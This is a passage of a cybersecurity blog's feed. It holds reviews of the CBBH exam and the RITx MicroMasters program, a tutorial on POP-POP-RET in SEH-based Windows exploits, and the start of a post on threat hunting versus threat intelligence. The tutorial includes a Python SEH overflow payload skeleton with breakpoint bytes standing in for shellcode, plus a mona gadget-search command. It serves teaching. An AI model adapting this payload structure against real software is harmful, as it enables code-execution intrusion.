<li>Write your report <strong>as you go</strong> capture screenshots and command outputs immediately</li>
</ul>
<p>I scored <strong>100 points</strong> by capturing all <strong>10 flags</strong> (only 85 points were needed to pass). The last flag was challenging but very satisfying to exploit.</p>
<p>It took me <strong>5 days out of the 7</strong> allotted to get 100 points and submit my report.</p>
<hr>
<h3 id="reporting">Reporting</h3>
<p>My report was:</p>
<ul>
<li>Neatly formatted</li>
<li>Thoroughly documented</li>
<li>Written so that the reader could reproduce everything without confusion</li>
</ul>
<p><img src="/images/cbbh_img4.png" alt="Fourth Image"></p>
<p>This comes from lessons learned in past exams, where I significantly improved my reporting skills.</p>
<p>I submitted my report on <strong>August 1st</strong> and received my results on <strong>August 12th</strong> a much shorter wait compared to when I took the CPTS last year.</p>
<p><img src="/images/CBBH_Cert.png" alt="CBBH Cert"></p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>I highly recommend CBBH to anyone looking to:</p>
<ul>
<li>Upskill in <strong>web application penetration testing</strong></li>
<li>Begin <strong>bug bounty hunting</strong></li>
</ul>
<p>The methodology taught in the Bug Bounty Hunter path is more than enough to get started in real-world scenarios, and I plan to apply it in my free time.</p>
<hr>
<h3 id="whats-next">What’s Next?</h3>
<p>My next steps:</p>
<ul>
<li>Take <strong>Hands-On Web Exploitations</strong> by NahamSec on HackingHub</li>
<li>Practice more with <strong>PortSwigger</strong> and <strong>PentesterLab</strong></li>
<li>Eventually take on the bigger challenge of the <strong>HTB CWEE</strong> exam, which is already on my radar</li>
</ul>
]]></content></item><item><title>MicroMasters Cybersecurity RITx</title><link>https://blog.redteamshell.com/posts/2025/07/micromasters-cybersecurity-ritx/</link><pubDate>Fri, 04 Jul 2025 15:17:16 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/07/micromasters-cybersecurity-ritx/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/MicroMasters_Cybersecurity.png" alt="MicroMasters Cybersecurity">&lt;/p>
&lt;p>In &lt;strong>August 2019&lt;/strong>, I enrolled in the &lt;strong>RITx MicroMasters in Cybersecurity&lt;/strong>, a program delivered by the &lt;strong>Rochester Institute of Technology (RIT)&lt;/strong> in partnership with &lt;strong>edX&lt;/strong>. At the time, the program didn&amp;rsquo;t have open enrollment, so I had to wait until &lt;strong>January 2020&lt;/strong> to get started.&lt;/p>
&lt;p>My goal was clear: gain the foundational skills and credibility needed to transition into a cybersecurity career. Although COVID hitted the same year and disrupted job prospects, the knowledge and skills I gained helped me secure an &lt;strong>IT position&lt;/strong> later on. In hindsight, this program was a meaningful step in my professional growth.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/MicroMasters_Cybersecurity.png" alt="MicroMasters Cybersecurity"></p>
<p>In <strong>August 2019</strong>, I enrolled in the <strong>RITx MicroMasters in Cybersecurity</strong>, a program delivered by the <strong>Rochester Institute of Technology (RIT)</strong> in partnership with <strong>edX</strong>. At the time, the program didn&rsquo;t have open enrollment, so I had to wait until <strong>January 2020</strong> to get started.</p>
<p>My goal was clear: gain the foundational skills and credibility needed to transition into a cybersecurity career. Although COVID hitted the same year and disrupted job prospects, the knowledge and skills I gained helped me secure an <strong>IT position</strong> later on. In hindsight, this program was a meaningful step in my professional growth.</p>
<hr>
<h3 id="program-overview">🎓Program Overview</h3>
<ul>
<li><strong>Institution</strong>: Rochester Institute of Technology (RIT)</li>
<li><strong>Platform</strong>: edX</li>
<li><strong>Cost (in 2025)</strong>: ~$1,596</li>
<li><strong>Courses</strong>: 5 total</li>
<li><strong>Pacing</strong>: Instructor-led (weekly deadlines)</li>
<li><strong>Duration</strong>: Each course ran for 8 weeks</li>
<li><strong>Effort</strong>: ~10–12 hours/week</li>
<li><strong>Passing Grade</strong>: 80% or higher required per course</li>
</ul>
<h3 id="courses-included">Courses Included:</h3>
<ol>
<li>Cybersecurity Fundamentals (CYBER501x)</li>
<li>Computer Forensics (CYBER502x)</li>
<li>Cybersecurity Risk Management (CYBER503x)</li>
<li>Network Security (CYBER504x)</li>
<li>Cybersecurity Capstone (CYBER525x)</li>
</ol>
<hr>
<h3 id="-course-by-course-breakdown">📚 Course-by-Course Breakdown</h3>
<h3 id="1-cybersecurity-fundamentals-cyber501x">1. <strong>Cybersecurity Fundamentals (CYBER501x)</strong></h3>
<p>This foundational course introduces key cybersecurity concepts such as threats, vulnerabilities, the
CIA triad, cryptography, access control models, and cyber defense strategies.</p>
<p><strong>Key topics:</strong></p>
<ul>
<li>CIA triad (Confidentiality, Integrity, Availability)</li>
<li>Common cyber threats and attack vectors</li>
<li>Cryptographic fundamentals and PKI</li>
<li>Authentication and access control</li>
</ul>
<p><strong>Hands-on Component</strong>: ✅ Yes — the course includes <strong>practical labs</strong> to reinforce theoretical concepts.</p>
<p><strong>My Thoughts</strong>: A solid entry point for newcomers. The labs made abstract ideas concrete and
helped me grasp core concepts quickly.</p>
<p><strong>Credential Link</strong>: <a href="https://courses.edx.org/certificates/187f8bce41e94359ad6881a61bc486bb" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/Cybersecurity_Fundamentals.png" alt="Cybersecurity Fundamentals"></p>
<hr>
<h3 id="2-computer-forensics-cyber502x">2. <strong>Computer Forensics (CYBER502x)</strong></h3>
<p>Learn how to collect, preserve, and analyze digital evidence in legal and investigative contexts.
Includes exposure to tools like Autopsy and FTK Imager.</p>
<p><strong>Key topics:</strong></p>
<ul>
<li>File system analysis</li>
<li>Timeline construction</li>
<li>Email and memory forensics</li>
<li>Legal/ethical considerations in investigations</li>
</ul>
<p><strong>Hands-on Component</strong>: ✅ Yes — <strong>labs and tool-based exercises</strong> in real forensic environments.</p>
<p><strong>My Thoughts</strong>: Very engaging. This course made me appreciate the depth of detail needed in incident response and legal investigations.</p>
<p><strong>Credential Link</strong>: <a href="https://courses.edx.org/certificates/757b8a558442485c909e4bb74fc563b7" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/Computer_Forensics.png" alt="Computer Forensics"></p>
<hr>
<h3 id="3-cybersecurity-risk-management-cyber503x">3. <strong>Cybersecurity Risk Management (CYBER503x)</strong></h3>
<p>Focused on assessing and managing cybersecurity risks in enterprise environments. You explore
frameworks like <strong>NIST RMF</strong>, governance, compliance, and policy development.</p>
<p><strong>Key topics:</strong></p>
<ul>
<li>Risk identification and mitigation</li>
<li>Threat modeling</li>
<li>Security governance and frameworks (NIST, ISO)</li>
<li>Business continuity and impact analysis</li>
</ul>
<p><strong>Hands-on Component</strong>: ❌ No formal labs, more case study-driven.</p>
<p><strong>My Thoughts</strong>: Though more theory-heavy, this course provided critical insight into the business side of cybersecurity—very useful for aspiring managers or consultants.</p>
<p><strong>Credential Link</strong>: <a href="https://courses.edx.org/certificates/b370afb94b9d4823915fe535724698ef" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/Cybersecurity_RiskManagement.png" alt="Cybersecurity RiskManagement"></p>
<hr>
<h3 id="4-network-security-cyber504x">4. <strong>Network Security (CYBER504x)</strong></h3>
<p>A technically rich course focused on protecting network infrastructure using techniques like firewalls, VPNs, IDS/IPS, and secure design.</p>
<p><strong>Key topics:</strong></p>
<ul>
<li>TCP/IP and secure protocols (TLS, SSH, DNSSEC)</li>
<li>Firewalls, IDS/IPS systems</li>
<li>Packet sniffing and network monitoring</li>
<li>VPNs and network segmentation</li>
</ul>
<p><strong>Hands-on Component</strong>: ✅ Yes — <strong>labs to apply concepts</strong> in packet analysis and secure design.</p>
<p><strong>My Thoughts</strong>: This course required a good grasp of networking, but it was very rewarding. I learned how attackers exploit networks and how to defend them.</p>
<p><strong>Credential Link</strong>: <a href="https://courses.edx.org/certificates/71c62307dee044f5bcd986cccd90d416" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/Network_Security.png" alt="Network Security"></p>
<hr>
<h3 id="5-cybersecurity-capstone-cyber525x">5. <strong>Cybersecurity Capstone (CYBER525x)</strong></h3>
<p>The final course in the program. A cumulative project where learners apply skills from the previous four courses.</p>
<p><strong>Capstone format:</strong></p>
<ul>
<li>Realistic simulations of security incidents</li>
<li>Network breach investigation</li>
<li>Digital forensics reporting</li>
</ul>
<p><strong>Hands-on Component</strong>: ✅ 100% practical — all assessments were <strong>lab-based</strong> and <strong>graded by instructors</strong>.</p>
<p><strong>My Thoughts</strong>: A challenging but fulfilling end to the program. The capstone mirrored real-world tasks and required critical thinking across domains.</p>
<p><strong>Credential Link</strong>: <a href="https://courses.edx.org/certificates/87c6d2d088ed4c97818a22a2299e2552" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/Cybersecurity_Capstone.png" alt="Cybersecurity Capstone"></p>
<hr>
<h3 id="-support--community">💬 Support &amp; Community</h3>
<ul>
<li><strong>Weekly discussion forums</strong>: Each course had active forums for learners to discuss assignments and share ideas.</li>
<li><strong>Support team</strong>: The edX support team and RIT staff were responsive when I had technical or conceptual questions.</li>
<li><strong>Peer learning</strong>: While there were no live classes, the forums helped create a sense of community.</li>
</ul>
<hr>
<h3 id="-what-i-gained">📈 What I Gained</h3>
<ul>
<li>A solid <strong>academic foundation</strong> in cybersecurity</li>
<li>Practical experience with <strong>real tools</strong> in forensics and networking</li>
<li>Insight into <strong>risk management and governance</strong></li>
<li>Confidence to speak about cybersecurity in professional settings While I didn’t land a security role immediately due to the pandemic, I eventually transitioned into an IT role where I could apply many of the skills I learned.</li>
</ul>
<hr>
<h3 id="-pros---cons">✅ Pros &amp; ❌ Cons</h3>
<h3 id="pros">Pros</h3>
<ul>
<li>Reputable certification from a well-known university (RIT)</li>
<li>Structured pacing and weekly goals</li>
<li>Strong practical components in 4 of the 5 courses</li>
<li>Capstone was a real-world test of skill</li>
<li>Helpful support and active community</li>
</ul>
<h3 id="cons">Cons</h3>
<ul>
<li>Limited interactivity with instructors (asynchronous only)</li>
<li>Risk Management course lacked hands-on elements</li>
<li>Now slightly dated compared to platforms offering newer tools and techniques</li>
<li>Not ideal if you&rsquo;re aiming for technical certifications (like OSCP or CompTIA)</li>
</ul>
<hr>
<h3 id="-ritx-in-2020-vs-cybersecurity-learning-in-2025">🔄 RITx in 2020 vs Cybersecurity Learning in 2025</h3>
<p>When I took this course, platforms like <strong>HackTheBox Academy</strong> or <strong>TryHackMe</strong> were either new or not yet as mature. Now, there are more <strong>interactive, hands-on</strong> platforms that provide deep technical training for roles like <strong>Security Analyst</strong> or <strong>Penetration Tester</strong>—often at a much lower cost.</p>
<p>Still, for those looking to:</p>
<ul>
<li>Gain <strong>academic credibility</strong></li>
<li>Apply for <strong>graduate school</strong></li>
<li>Understand cybersecurity beyond tools and tactics</li>
</ul>
<p>The RITx MicroMasters continues to offer great value.</p>
<hr>
<h3 id="-would-i-recommend-it-in-2025">🙋 Would I Recommend It in 2025?</h3>
<p><strong>Yes, but it depends on your goals.</strong></p>
<ul>
<li>✔ Great for: Mid-career professionals, career switchers, those pursuing a master’s</li>
<li>❌ Not ideal for: Entry-level candidates looking for job-ready skills quickly</li>
</ul>
<p>For a more modern, hands-on path, platforms like:</p>
<ul>
<li><strong>HackTheBox Academy</strong></li>
<li><strong>TryHackMe</strong></li>
<li><strong>TCM Security</strong></li>
<li><strong>INE</strong></li>
</ul>
<p>Those are excellent choices for technical deep-dives and practical lab environments.</p>
<hr>
<h3 id="-final-tips">📌 Final Tips</h3>
<ul>
<li>Treat each course like a real university class <strong>stay disciplined</strong></li>
<li>Use external resources (e.g., YouTube, HackTheBox) to reinforce tough topics</li>
<li>Engage in the forums; it improves learning and retention</li>
<li>Don’t expect instant results <strong>build experience step-by-step</strong></li>
</ul>
<p><img src="/images/Completion_Courses.png" alt="Completion Courses"></p>
<hr>
<h3 id="-final-thoughts">💭 Final Thoughts</h3>
<p>The <strong>RITx MicroMasters in Cybersecurity</strong> gave me the structure and foundation I needed to move into the tech space. Even if I didn’t land a security job right away, it opened the door and gave me the confidence to keep going.</p>
<p><strong>Credential Link</strong>: <a href="https://credentials.edx.org/credentials/e9ed836a58174979adc51f645eac0641/" target="_blank" rel="noopener noreferrer">Here</a>
</p>
<p><img src="/images/MicroMasters_Completion.png" alt="MicroMasters Completion"></p>
<p><strong>Have questions or want to know more?</strong> Reach out, I’m happy to share more about my journey.</p>
]]></content></item><item><title>Understanding POP-POP-RET in SEH Exploits</title><link>https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/</link><pubDate>Mon, 26 May 2025 16:28:21 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/SEH_Blog.png" alt="Blog Picture">&lt;/p>
&lt;p>&lt;em>Part of the Exploit Development Module – Certified Cybersecurity Engineer (CCSE) – By Cyberwarfare Labs&lt;/em>&lt;/p>
&lt;hr>
&lt;h3 id="-table-of-contents">📚 Table of Contents&lt;/h3>
&lt;ol>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#what-is-a-stack-overflow">What is a Stack Overflow?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#understanding-structured-exception-handling-seh">Understanding Structured Exception Handling (SEH)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#where-does-pop-pop-ret-come-in">Where Does POP-POP-RET Come In?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#breaking-down-pop-pop-ret">Breaking Down POP-POP-RET&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#step-by-step-example-of-using-pop-pop-ret-in-an-seh-exploit">Step-by-Step Example of Using POP-POP-RET in an SEH Exploit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#finding-a-suitable-pop-pop-ret-instruction">Finding a Suitable POP-POP-RET Instruction&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#example-exploit-code">Example Exploit Code&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#what-happens-when-we-run-the-exploit">What Happens When We Run the Exploit?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#conclusion">Conclusion&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#next-steps">Next Steps&lt;/a>&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h3 id="-introduction">🔰 Introduction&lt;/h3>
&lt;p>This blog post is part of the &lt;strong>Exploit Development&lt;/strong> module in my journey through the &lt;strong>Certified Cybersecurity Engineer (CCSE)&lt;/strong> certification by &lt;strong>Cyberwarfare Labs&lt;/strong>.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/SEH_Blog.png" alt="Blog Picture"></p>
<p><em>Part of the Exploit Development Module – Certified Cybersecurity Engineer (CCSE) – By Cyberwarfare Labs</em></p>
<hr>
<h3 id="-table-of-contents">📚 Table of Contents</h3>
<ol>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#introduction">Introduction</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#what-is-a-stack-overflow">What is a Stack Overflow?</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#understanding-structured-exception-handling-seh">Understanding Structured Exception Handling (SEH)</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#where-does-pop-pop-ret-come-in">Where Does POP-POP-RET Come In?</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#breaking-down-pop-pop-ret">Breaking Down POP-POP-RET</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#step-by-step-example-of-using-pop-pop-ret-in-an-seh-exploit">Step-by-Step Example of Using POP-POP-RET in an SEH Exploit</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#finding-a-suitable-pop-pop-ret-instruction">Finding a Suitable POP-POP-RET Instruction</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#example-exploit-code">Example Exploit Code</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#what-happens-when-we-run-the-exploit">What Happens When We Run the Exploit?</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#conclusion">Conclusion</a></li>
<li><a href="/posts/2025/05/understanding-pop-pop-ret-in-seh-exploits/#next-steps">Next Steps</a></li>
</ol>
<hr>
<h3 id="-introduction">🔰 Introduction</h3>
<p>This blog post is part of the <strong>Exploit Development</strong> module in my journey through the <strong>Certified Cybersecurity Engineer (CCSE)</strong> certification by <strong>Cyberwarfare Labs</strong>.</p>
<p>In this article, we explore a common and effective technique in Windows exploitation—<strong>POP-POP-RET</strong>, which is often used in SEH-based exploits. We’ll cover not only what it is and how it works but also walk through a practical example and payload structure.</p>
<hr>
<h3 id="-what-is-a-stack-overflow">🧠 What is a Stack Overflow?</h3>
<p>A <strong>stack overflow</strong> is a flaw that occurs when a program writes more data to a <strong>stack-based buffer</strong> than it can hold. This causes adjacent memory to be overwritten, which can include other local variables and more importantly, the <strong>return address</strong>.</p>
<p>If the conditions are right, an attacker can overwrite the <strong>EIP (Instruction Pointer)</strong> and redirect execution to <strong>malicious code</strong>. If not, the program will likely crash—leading to a <strong>Denial of Service (DoS)</strong>.</p>
<p>In <strong>Structured Exception Handler (SEH)</strong> based overflows, we target the <strong>SEH chain</strong> on the stack, aiming to hijack control flow when an exception occurs.</p>
<hr>
<h3 id="-understanding-structured-exception-handling-seh">📌 Understanding Structured Exception Handling (SEH)</h3>
<p><strong>Structured Exception Handling (SEH)</strong> is a mechanism in Windows that allows applications to gracefully handle exceptions such as illegal memory access, division by zero, etc.</p>
<ul>
<li>Every thread maintains an <strong>SEH chain</strong> (linked list of exception handlers).</li>
<li>This chain is stored on the <strong>stack</strong>, making it exploitable.</li>
<li>When an exception occurs, Windows walks this chain to locate a suitable handler.</li>
</ul>
<hr>
<h3 id="-where-does-pop-pop-ret-come-in">📌 Where Does POP-POP-RET Come In?</h3>
<p>In SEH exploits, our goal is to overwrite the SEH handler with an address that helps us redirect execution to our shellcode.</p>
<p>That’s where <strong>POP-POP-RET</strong> comes in. It helps us bypass basic protections and cleanly transfer execution from the overwritten SEH record to our shellcode, <strong>without triggering further exceptions</strong>.</p>
<hr>
<h3 id="-breaking-down-pop-pop-ret">📌 Breaking Down POP-POP-RET</h3>
<p>This sequence of instructions helps clean up the stack before jumping to your shellcode:</p>
<ul>
<li><code>POP</code> – Removes and discards the top of the stack.</li>
<li><code>POP</code> – Removes another stack value.</li>
<li><code>RET</code> – Pops the next address off the stack and jumps to it (our shellcode).</li>
</ul>
<h3 id="-example-flow">✅ Example Flow:</h3>
<ol>
<li>SEH handler is overwritten with the address of a <code>POP-POP-RET</code> sequence.</li>
<li>When an exception triggers, Windows jumps to this address.</li>
<li><code>POP</code> and <code>POP</code> discard stack garbage.</li>
<li><code>RET</code> sends execution to your crafted payload.</li>
</ol>
<hr>
<h3 id="-step-by-step-example-of-using-pop-pop-ret-in-an-seh-exploit">📌 Step-by-Step Example of Using POP-POP-RET in an SEH Exploit</h3>
<h3 id="scenario-vulnerable-windows-application">Scenario: Vulnerable Windows Application</h3>
<ol>
<li>
<p><strong>Buffer Overflow Identified</strong></p>
<ul>
<li>Input function allows more bytes than the buffer can safely handle.</li>
</ul>
</li>
<li>
<p><strong>Analyze Stack Layout</strong></p>
<ul>
<li>Locate <strong>Next SEH</strong> and <strong>SEH Handler</strong> on the stack.</li>
</ul>
</li>
<li>
<p><strong>Payload Construction</strong></p>
<ul>
<li>Overwrite <code>Next SEH</code> with a short jump (<code>\xEB\x06</code>) to shellcode.</li>
<li>Overwrite <code>SEH Handler</code> with address of a <strong>POP-POP-RET</strong> instruction.</li>
</ul>
</li>
<li>
<p><strong>Trigger Exception</strong></p>
<ul>
<li>Application crashes.</li>
<li>Windows traverses the SEH chain.</li>
<li>Our <code>POP-POP-RET</code> sequence is executed.</li>
<li><code>RET</code> takes execution to our shellcode.</li>
</ul>
</li>
</ol>
<hr>
<h3 id="-finding-a-suitable-pop-pop-ret-instruction">📌 Finding a Suitable POP-POP-RET Instruction</h3>
<p>We are using <strong>Mona.py</strong> in <strong>Immunity Debugger</strong> to find usable instructions that are not protected by <strong>SafeSEH</strong> or <strong>ASLR</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!mona seh
</span></span></code></pre></div><p>Example output:</p>
<pre tabindex="0"><code>0x1001AABB : pop pop ret | [vulnlib.dll] 
</code></pre><p>Using this address in our payload to overwrite the SEH handler.</p>
<hr>
<h3 id="-example-exploit-code">📌 Example Exploit Code</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>payload  <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;A&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">2000</span>                      <span style="color:#75715e"># Fill buffer to reach SEH</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xEB\x06\x90\x90</span><span style="color:#e6db74">&#34;</span>             <span style="color:#75715e"># Next SEH: Short Jump over SEH</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xBB\xAA\x01\x10</span><span style="color:#e6db74">&#34;</span>             <span style="color:#75715e"># SEH Handler: POP-POP-RET address</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x90</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">20</span>                    <span style="color:#75715e"># NOP sled</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xcc</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">300</span>                   <span style="color:#75715e"># Shellcode: INT 3 for debugging</span>
</span></span></code></pre></div><h3 id="breakdown">Breakdown:</h3>
<ul>
<li><code>&quot;A&quot; * 2000</code> → Fills the buffer and reaches SEH</li>
<li><code>\xEB\x06</code> → Jumps 6 bytes forward (to shellcode).</li>
<li><code>\x90\x90</code> → NOPs for alignment.</li>
<li><code>\xBB\xAA\x01\x10</code> → Little-endian address of POP-POP-RET. Overwrites SEH</li>
<li><code>&quot;\x90&quot; * 20</code> → Safe space for Shellcode</li>
<li><code>&quot;\xcc&quot; * 300</code> → Breakpoint to analyze control transfer in debugger (Shellcode).</li>
</ul>
<hr>
<h3 id="-what-happens-when-we-run-the-exploit">📌 What Happens When We Run the Exploit?</h3>
<ol>
<li>Application crashes → triggers exception.</li>
<li>Windows reads SEH chain → finds overwritten handler.</li>
<li>Executes <code>POP-POP-RET</code> → stack cleaned.</li>
<li><code>RET</code> jumps to <code>Next SEH</code> (short jump).</li>
<li>Execution lands in shellcode → code execution achieved.</li>
</ol>
<hr>
<h3 id="-conclusion">📌 Conclusion</h3>
<ul>
<li><strong>POP-POP-RET</strong> is a classic yet powerful method in SEH exploitation.</li>
<li>Helps bypass protections by cleaning the stack and redirecting flow.</li>
<li>Requires a deep understanding of the stack and exception handling.</li>
</ul>
<p>While modern protections like <strong>SafeSEH</strong>, <strong>DEP</strong>, and <strong>ASLR</strong> make this harder today, it&rsquo;s a critical foundational technique for understanding Windows exploit development.</p>
<p>I&rsquo;m planning to enroll in their Exploit Development course which goes indeep about exploit development <a href="https://cyberwarfare.live/product/certified-exploit-development-professional-cedp/" target="_blank" rel="noopener noreferrer">Certified Exploit Development Professional (CEDP)</a>
 and will definitely write a review about it.</p>
<p>Here&rsquo;s another good article that showcase this vulnerability in Easy Chat Server 3.1 <a href="https://www.onsecurity.io/blog/buffer-overflow-easy-chat-server-31/" target="_blank" rel="noopener noreferrer">here</a>
</p>
]]></content></item><item><title>Threat Hunting vs Threat Intelligence</title><link>https://blog.redteamshell.com/posts/2025/05/threat-hunting-vs-threat-intelligence/</link><pubDate>Mon, 12 May 2025 20:11:48 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/05/threat-hunting-vs-threat-intelligence/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/ThreatHuntingvsThreatResearch.png" alt="Cover">&lt;/p>
&lt;p>As part of my learning journey through the Hack The Box Certified Defensive Security Analyst (CDSA) certification, I’ve recently explored a fascinating topic—&lt;strong>threat hunting&lt;/strong>. The more I dive in, the more I realize how important it is to distinguish between &lt;strong>threat hunting&lt;/strong> and &lt;strong>cyber threat intelligence (CTI)&lt;/strong>. While both disciplines play vital roles in modern cybersecurity programs, they serve different functions and require distinct approaches.&lt;/p>
&lt;p>In this inaugural post for my new blog section dedicated to threat hunting, CTI, and threat actors, I want to explore how these two areas intersect, how they differ, and why both are essential to defending against today’s cyber threats.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/ThreatHuntingvsThreatResearch.png" alt="Cover"></p>
<p>As part of my learning journey through the Hack The Box Certified Defensive Security Analyst (CDSA) certification, I’ve recently explored a fascinating topic—<strong>threat hunting</strong>. The more I dive in, the more I realize how important it is to distinguish between <strong>threat hunting</strong> and <strong>cyber threat intelligence (CTI)</strong>. While both disciplines play vital roles in modern cybersecurity programs, they serve different functions and require distinct approaches.</p>
<p>In this inaugural post for my new blog section dedicated to threat hunting, CTI, and threat actors, I want to explore how these two areas intersect, how they differ, and why both are essential to defending against today’s cyber threats.</p>
<hr>
<h3 id="understanding-cyber-threat-intelligence-cti">Understanding Cyber Threat Intelligence (CTI)</h3>
<p><strong>Cyber threat intelligence (CTI)</strong> is the practice of collecting, analyzing, and disseminating data about current and potential threats. It transforms raw data into actionable insights that help organizations anticipate, prepare for, and respond to cyberattacks.</p>
<p>In short, <strong>CTI is about knowing your enemy.</strong></p>
<p>But it’s important to recognize that intelligence is not simply information or data:</p>
<ul>
<li><strong>Data</strong> is raw and unprocessed (e.g., log entries, IP addresses).</li>
<li><strong>Information</strong> is structured and organized data.</li>
<li><strong>Intelligence</strong> is the final, actionable product derived from analysis.</li>
</ul>
<p>For CTI to be useful, it must meet three critical conditions:</p>
<ul>
<li><strong>Accurate</strong> – Is the intelligence reliable and precise?</li>
<li><strong>Relevant</strong> – Does it apply to your environment or industry?</li>
<li><strong>Timely</strong> – Is the information recent and actionable?</li>
</ul>
<h3 id="types-of-threat-intelligence">Types of Threat Intelligence</h3>
<p>CTI is typically categorized into three levels:</p>
<ul>
<li><strong>Strategic Intelligence</strong>: Focuses on the big picture. It informs long-term security decisions and risk management, and is tailored for executive leadership and senior stakeholders.</li>
<li><strong>Tactical Intelligence</strong>: Focuses on adversary <strong>Tactics, Techniques, and Procedures (TTPs)</strong>. This form of intelligence directly informs security tools and threat-hunting strategies. For example, it may involve mapping known behaviors to the MITRE ATT&amp;CK framework.</li>
<li><strong>Operational Intelligence</strong>: Delivers real-time insights on specific, ongoing threats. This might include dark web chatter, malware analysis, or vulnerabilities currently being exploited.</li>
</ul>
<p>Traditionally, CTI has operated somewhat independently, producing intelligence reports in isolation. However, modern security teams are increasingly integrating CTI into their overall operations—informing SOC workflows, guiding hunts, and even influencing business strategy.</p>
<hr>
<h3 id="what-is-threat-hunting">What Is Threat Hunting?</h3>
<p>While CTI focuses on understanding and anticipating threats, <strong>threat hunting</strong> is the process of actively seeking them out within your environment.</p>
<p>It’s a <strong>proactive, hypothesis-driven activity</strong> aimed at uncovering hidden adversaries that have bypassed traditional security controls. Unlike incident response, which is reactive and initiated by alerts or alarms, threat hunting is an active pursuit—<strong>looking for threats before they announce themselves.</strong></p>
<h3 id="threat-hunting-triggers">Threat Hunting Triggers</h3>
<p>A hunt is typically initiated by one of three drivers:</p>
<ul>
<li><strong>Threat Intelligence</strong>: For example, a new indicator of compromise (IOC) or known adversary TTPs may prompt an investigation.</li>
<li><strong>Situational Awareness</strong>: Understanding your environment helps define “normal” and detect anomalies that suggest malicious activity.</li>
<li><strong>Analytics</strong>: Behavioral analytics and machine learning models can uncover deviations from expected patterns that warrant a hunt.</li>
</ul>
<p>Threat hunting closes the loop on threat intelligence—<strong>it begins where CTI ends</strong>. While CTI provides the &ldquo;what&rdquo; and &ldquo;who&rdquo;, threat hunting delivers the &ldquo;where&rdquo;, &ldquo;when&rdquo;, and &ldquo;how&rdquo; within your own network.</p>
<hr>
<h3 id="how-they-work-together">How They Work Together</h3>
